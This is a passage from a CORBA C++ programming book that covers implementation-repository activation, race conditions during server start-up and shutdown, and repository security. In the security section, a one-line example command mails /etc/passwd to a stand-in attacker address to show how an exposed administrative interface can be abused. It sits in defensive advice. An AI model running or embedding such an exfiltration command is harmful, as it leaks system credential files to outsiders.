Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Advanced CORBA Programming wit C++ - M. Henning, S. Vinoski.pdf
Скачиваний:
65
Добавлен:
24.05.2014
Размер:
5 Mб
Скачать

IT-SC book: Advanced CORBA® Programming with C++

activation requires the ORB to implement the OMG Security Service, which provides authentication. Without authentication, users can fake their identity.

Per-request activation

With this activation mode, every request, from whatever source, results in a new server process. This activation mode is appropriate only for very long-running requests, because creating a new server process is typically an expensive operation.

Persistent activation

With this activation mode, servers that need to run continuously are started by the implementation repository immediately after the repository itself is started. Thereafter, the repository monitors the health of each server. If a server goes down for some reason, the repository restarts it automatically, whether or not clients are currently using the server.

14.7 Race Conditions

In addition to all its other responsibilities, an implementation repository must take care of race conditions that can arise during server activation and shutdown.

14.7.1 Race Conditions during Activation

In Section 14.4.2, you saw that an implementation repository stores a logical server name as well as a POA name. If a server uses multiple POAs, the repository contains a separate entry for each POA with the same logical server name. (Some implementations store a list of POA names instead of a separate entry.) There are two reasons for storing a logical server name.

A logical name makes it easier to administer the implementation repository. It allows us to refer to a server using a single name regardless of how many POAs the server uses. For example, when we want to change the command-line options for the CCS server, we can change the options for all the POAs used by the server with a single command that uses the logical server name instead of having to change the command-line options separately for each POA used by the server.

The logical server name informs the implementation repository how POA names map onto processes. The repository uses this information to prevent starting more than one server if different clients concurrently bind requests for different POAs in the same server. The first point is obvious—a logical server name simply makes life easier for ORB administrators. However, the second point is less obvious.

Suppose that we use shared activation mode for a server with multiple POAs, such as the CCS server in Table 14.1. Assume that the server is currently stopped and that two clients more or less simultaneously contact the implementation repository. If one client uses a thermometer reference and the other client uses a thermostat reference, the implementation repository receives two binding requests, each for a different POA.

567

IT-SC book: Advanced CORBA® Programming with C++

Without a logical server name, the repository would have no idea how POA names map onto server processes and would promptly start the same server twice, one for each POA. For servers designed for shared activation mode, this is typically very bad news. For example, the server may use the file system as a simple database. If two server processes are running side by side, they may write to the same file in parallel without locking, and that usually results in corrupted data on disk.

The logical server name prevents start-up of multiple server processes in shared activation mode. Whenever the implementation repository receives a request that requires starting a server, it maps the POA name in the request to the logical server name. If the repository has already started that logical server and is waiting for the server to enter its event loop, the repository delays all other binding requests for POAs in the same server until the server has initialized itself and can accept requests. When the server process is ready, the repository returns its LOCATION_FORWARD reply to all clients that are currently binding a reference to any object in the server. This behavior effectively prevents the repository from accidentally starting the same server multiple times.

14.7.2 Race Conditions during Shutdown

Another race condition can arise during server shutdown. Consider a running server whose event loop has just terminated. If the server caches updates, it must flush these updates to its database after the event loop terminates but before the server exits.

As soon as the server's event loop has terminated, the server can no longer accept requests, so the implementation repository must start another server instance for new requests that arrive from clients. This creates a potential race condition, because the first server may still be flushing data to files while a second server instance, started by the repository, concurrently reads the same files before entering its event loop.

To get around this problem, most implementation repositories monitor the server processes they create and do not start a second server process until after the first process has exited; the repository delays binding requests from clients while a server is shutting down until the server physically exits. When you write a server, you should therefore make an effort to quickly exit after the event loop terminates; otherwise, you will unduly delay binding requests from clients.

You need to consult your ORB documentation to determine exactly how server shutdown is handled by your repository. Some repositories make no effort to deal with the shutdown race, in which case you must synchronize server processes yourself (for example, by using a lock file).

14.7.3 Server Shutdown and Rebinding

After a server's event loop terminates, the server-side run time closes all open connections after sending a CloseConnection message on each connection. The CloseConnection messages inform clients that they must rebind using the

568

IT-SC book: Advanced CORBA® Programming with C++

implementation repository before sending more requests to the server. This rebind is necessary because a new instance of the server may listen on a different port. Rebinding is handled by the ORB run time and therefore is transparent to the client application code. Rebinding prevents the client application from receiving spurious exceptions just because a server terminated at an inconvenient moment.

If a client is waiting for a reply to a request and detects a broken connection, this means that connection shutdown was disorderly, either because the server crashed or because of a network failure. In either case, the client run time raises a COMM_FAILURE exception with a completion_status of COMPLETED_MAYBE (because the client cannot know whether the server crashed just before it accepted the request or after the request completed).

If a client detects disorderly connection shutdown while it does not have any replies outstanding, the behavior depends on the ORB. Most ORBs try to rebind at least once before propagating an exception to the application code. Some ORBs permit you to configure the number of times and the intervals at which the run time will attempt to rebind before giving up.

Occasionally, retry attempts are combined with exponential back-off, which increases the time between retries by a constant factor on every attempt. For example, the ORB may double the amount of time it waits between retries until the maximum number of retries is reached. Exponential back-off is useful if a large number of clients are connected to a server that has terminated abnormally, because it prevents clients from flooding the network with retry attempts. Often, exponential back-off is combined with a small amount of random variation on each retry period. Again, this is to prevent avalanche effects if many clients are confronted with an unreachable server. The random variation stops large numbers of clients from attempting to rebind all at the same time.

14.8 Security Considerations

Implementation repositories raise a number of security issues. This is not surprising, considering that an implementation repository can create new processes in response to requests from remote clients. Following are a few tips that should help you to stay out of trouble if you need to service requests from clients in untrusted environments.

14.8.1 Server Privileges

ORBs vary on how the implementation repository starts server processes. Some repositories simply do a fork and exec to start the server. Others delegate process creation to another agency, such as a daemon that monitors load average and starts servers on a machine with low load. Regardless of the details, you must understand exactly what privileges are given to a server started by the repository.

Under UNIX, if the repository simply forks and execs the server, the server process inherits the user and group ID of the repository. Clearly, if the repository runs as root or

569

IT-SC book: Advanced CORBA® Programming with C++

another user with a high level of privilege, this can severely compromise security. For example, if a server can create a file in response to a request from a client, the client can overwrite critical system files.

Some implementation repositories permit you to specify the user and group ID under which each server should be started and refuse to start a process as root. This feature makes it easy to assign the appropriate user and group ID to each server.

If your repository does a simple fork and exec, we strongly advise you to run the repository at the lowest possible level of privilege. The safest approach is to run the repository as the user nobody. Alternatively, you can create a special ORB user without a login and make the persistent storage of the repository writable only for that user.

One problem with this approach is that the servers started by the repository may get a level of access privilege that is too low for them to work correctly. In that case, the easiest option is to make the server set-uid or set-gid to the appropriate level of privilege (but not root!)

Some repositories also offer a mode whereby server processes are created as the user that executed the client making a request. For example, if the client runs as the user Fred on some machine, the server's user ID is also set to Fred on the local machine. Be aware that using this activation mode is dangerous unless your ORB implements a security layer with proper authentication; a malicious client can easily spoof IIOP requests with a faked user ID.

14.8.2 Remote Repository Access

An implementation repository typically offers two remote interfaces. One interface is used by clients for binding. The other interface is usually used by administrative commands—for example, to register and unregister servers for automatic start-up. Following is a minimal example of such an administrative interface (this interface is hypothetical, but many ORBs use something similar):

interface ImplementationRepository {

void

add_server(

 

in string server_name,

 

in string POA_name,

 

in string command_line

void

) raises(/* ... */);

remove_server(in string server_name)

};

raises(/* ... */);

 

Command-line tools to add and remove server registrations in the repository are simply CORBA clients that invoke requests on this interface.

570

IT-SC book: Advanced CORBA® Programming with C++

A security problem arises if the port on which this interface listens for requests is accessible to hostile clients. For example, there is nothing to prevent a malicious person from registering a server with the following command line:

mail hacker@evil.com </etc/passwd

All that remains to complete the attack is for the intruder to write a client that binds a reference to the server registered with this command, and the repository will obligingly send your password file to the intruder. Much worse cases are possible, especially if the repository runs as root. (In that case, you might as well post your root password on a public Web site.)

Different ORBs take different approaches to this problem.

If an ORB implements the OMG Security Service, access to the interface can be restricted to trusted users. This is the most flexible option, and, with appropriate encryption, you can make it arbitrarily safe (that is, infeasibly expensive for an intruder to break in using the repository).

Some ORBs use two different ports for the repository. One port is only to resolve binding requests, and the other port provides the administrative interface. You can add a rule to your firewall that prevents access to the administrative port from the untrusted part of the network but still allows clients from untrusted domains to send binding requests to your servers.

Some ORBs refuse server registrations from clients not running on the same machine as the repository. The assumption is that only someone with a login on the local machine is authorized to manipulate server registrations. Unfortunately, this method is not foolproof. In the absence of a proper trusted authentication layer, the repository uses a reverse IP address lookup to determine the location of the client, but a determined intruder can spoof IP packets to disguise their true origin.

Some ORBs ignore the entire issue and accept binding requests on the same port as administrative requests. If this is the case for your ORB, you must not permit access to the repository port from untrusted parts of the network; otherwise, anyone can run an arbitrary command, at least on the machine running the repository, with the same access privileges as the repository process. Naturally, giving outsiders access to your machine in this way spells big trouble.

In a well-maintained installation, the security issues are no big problem. A few simple configuration steps (running the repository as a user with low privilege and adding a rule to your firewall) are typically sufficient to secure the repository. However, if security is important in your environment, you must make sure that you understand how your repository works and what steps are necessary to secure it. In the absence of strong encryption via the Security Service, your best defense against attacks is a well-configured

571